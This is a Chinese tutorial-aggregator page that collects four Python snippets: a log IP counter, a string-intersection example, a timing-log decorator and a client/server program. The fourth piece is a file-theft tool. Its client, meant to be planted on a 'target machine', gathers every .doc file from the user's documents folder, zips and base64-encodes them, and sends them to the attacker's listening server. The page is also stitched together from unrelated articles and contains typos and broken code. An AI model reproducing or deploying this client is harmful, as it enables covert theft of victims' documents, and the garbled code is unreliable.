欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

python实现分析apache和nginx日志文件并输出访客ip列表的方法

时间:2023-07-17 08:53:48 其他范文 收藏本文 下载本文

下面是小编为大家整理的python实现分析apache和nginx日志文件并输出访客ip列表的方法,本文共4篇,欢迎阅读与收藏。

python实现分析apache和nginx日志文件并输出访客ip列表的方法

篇1:python实现分析apache和nginx日志文件并输出访客ip列表的方法

作者:令狐不聪 字体:[增加 减小] 类型:

这篇文章主要介绍了python实现分析apache和nginx日志文件并输出访客ip列表的方法,涉及Python操作日志文件的技巧,非常具有实用价值,需要的朋友可以参考下

本文实例讲述了python实现分析apache和nginx日志文件并输出访客ip列表的方法,分享给大家供大家参考,

具体如下:

这里使用python分析apache和nginx日志文件输出访客ip列表

ips = {}fh = open(“/var/log/nginx/access.log”, “r”).readlinesfor line in fh: ip = line.split(“ ”)[0] if 6 < len(ip) <=15: ips[ip] = ips.get(ip, 0) + 1print ips

希望本文所述对大家的Python程序设计有所帮助。

篇2:python实现查找两个字符串中相同字符并输出的方法

分享给大家供大家参考。具体实现方法如下:

seq1 = “spam” seq2 = “scam” res = []for x in seq1: if x in seq2: res.append(x)print res

输出结果如下:

[‘s‘, ‘a‘, ‘m‘]

希望本文所述对大家的Python程序设计有所帮助。

篇3:Python实现监控程序执行时间并将其写入日志的方法

作者:mingaixin 字体:[增加 减小] 类型:

这篇文章主要介绍了Python实现监控程序执行时间并将其写入日志的方法,实例分析了Python日志操作的相关技巧,需要的朋友可以参考下

本文实例讲述了Python实现监控程序执行时间并将其写入日志的方法,分享给大家供大家参考。具体实现方法如下:

# /usr/bin/python# -*- coding:utf-8 -*-from time import timedef logged(when): def log(f,*args,**kargs): print ‘‘‘ called: functions:%s args: %r kargs: %r ‘‘‘ % (f,args,kargs) def pre_logged(f): def wrapper(*args,**kargs):log(f,*args,**kargs)return f(*args,**kargs) return wrapper def post_logged(f): def wrapper(*args,**kargs):now = timetry: return f(*args,**kargs)finally: log(f,*args,**kargs) print “time delta:%s” % (time()-now) return wrapper try: return {“pre”:pre_logged,“post”:post_logged}[when] except KeyError,e: raise ValueError(e),‘must be “pre” or “post”‘@logged(“post”)def hello(name): print “hello,”,namehello(“world!”)‘‘‘等同于: hello = logged(“post”)(hello(“world!”))‘‘‘

希望本文所述对大家的Python程序设计有所帮助,

篇4:python实现获取客户机上指定文件并传输到服务器的方法

作者:上大王 字体:[增加 减小] 类型:转载

这篇文章主要介绍了python实现获取客户机上指定文件并传输到服务器的方法,涉及Python实现C/S架构程序与socket程序的使用技巧,需要的朋友可以参考下

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法,分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密

2、用zip压缩

3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可

4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 6553500 #6M

key = ‘ouyang‘

timeout = 5

dicName = “ouyang\\”

ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

ss.bind((HOST,PORT))

ss.listen(5)

print “wating for conntecting...”

while True:

try:

cs,addr = ss.accept()

socket.setdefaulttimeout(timeout)

cs.send(“200 Connected!”)

#获取加密数据

encode_data = cs.recv(BUF_SIZE)

#把数据写到out.zip文件

tmpfile = open(‘out.tmp‘,‘wb‘)

try:

tmpfile.write(encode_data)

tmpfile.close()

except IOError,e:

print ‘Strange error creating IOError:%s‘ % e

tmpfile.close()

finally:

tmpfile.close()

#base64 decode 2进制 解密 decode(infile,outfile)

tmpfile = open(‘out.tmp‘,‘rb‘)

utfile = open(‘out.zip‘,‘wb‘)

base64.decode(tmpfile,outfile)

tmpfile.close()

outfile.close()

#打开zip文件

zfile = zipfile.ZipFile(‘out.zip‘,‘r‘)

#创建一个文件夹来存放获取的zip文件

if not os.path.exists(dicName):

os.mkdir(dicName)

for f in zfile.namelist():

data = zfile.read(f)

file = open(dicName+os.path.basename(f),‘w+b‘)

file.write(data)

file.close()

print “finished!!!”

zfile.close()

#后续处理 删除临时文件

os.remove(‘out.tmp‘)

cs.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

cs.close()

ss.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

ss.close()

if __name__==‘__main__‘:

main()

客户端程序:

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

for root, dirs, files in os.walk(dir, topdown):

for name in files:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

for name in dirs:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 65535

key = ‘ouyang‘

dicName = “C:\Documents and Settings\Administrator\我的文档”

extName = ‘.doc‘

#遍历搜索我的文档的doc类型

try:

filelist = []

walk_dir(dicName,filelist,extName)

except IOError,e:

print “文件处理错误: ” % e

sys.exit(-1)

cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

cs.connect((HOST,PORT))

print cs.recv(BUF_SIZE)

#压缩成zip文件

zfile = zipfile.ZipFile(‘in.zip‘,‘w‘,zipfile.ZIP_DEFLATED)

for f in filelist:

zfile.write(f)

zfile.close()

#base 2进制 加密 encode(infile,outfile)

infile = open(‘in.zip‘,‘rb‘)

tmpfile = open(‘in.tmp‘,‘wb‘)

base64.encode(infile,tmpfile)

infile.close()

tmpfile.close()

#send

tmpfile = open(‘in.tmp‘,‘rb‘)

cs.send(tmpfile.read())

tmpfile.close()

#后续处理 删除中间文件

os.remove(‘in.tmp‘)

cs.close()

except socket.error ,e:

print ‘socket 出错啦:‘ % e

cs.close()

if __name__==‘__main__‘:

main()

希望本文所述对大家的Python程序设计有所帮助,

《python实现分析apache和nginx日志文件并输出访客ip列表的方法(精选4篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

最新推荐
猜你喜欢
点击下载本文文档